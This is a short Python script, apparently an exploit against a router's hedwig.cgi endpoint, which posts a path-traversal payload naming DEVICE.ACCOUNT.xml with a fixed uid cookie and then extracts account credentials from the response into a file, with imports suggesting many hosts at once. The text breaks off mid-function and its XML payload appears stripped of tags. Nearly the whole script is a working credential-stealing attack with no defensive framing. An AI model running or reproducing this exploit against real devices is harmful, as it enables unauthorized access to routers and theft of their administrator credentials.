import argparse
import logging
import requests
from xml.etree import ElementTree
import concurrent.futures
def run(host, port, output_file):
try:
url = f"http://{host}:{port}/hedwig.cgi" if port else f"http://{host}/hedwig.cgi"
headers = {'Content-Type': 'text/xml', 'Cookie': 'uid=123'}
data = '''
../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml
'''
response = requests.post(url, headers=headers, data=data)
if response.status_code == 200 and "OK" in response.text:
logging.info("Command executed successfully on %s:%s", host, port)
extract_credentials(response.text, host, port, output_file)
else:
logging.error("Error or unsuccessful response from %s:%s", host, port)
except requests.exceptions.RequestException as e:
logging.error("Request failed for %s:%s, Error: %s", host, port, e)
def extract_credentials(response_text, host, port, output_file):
try:
clean_xml = response_text.split("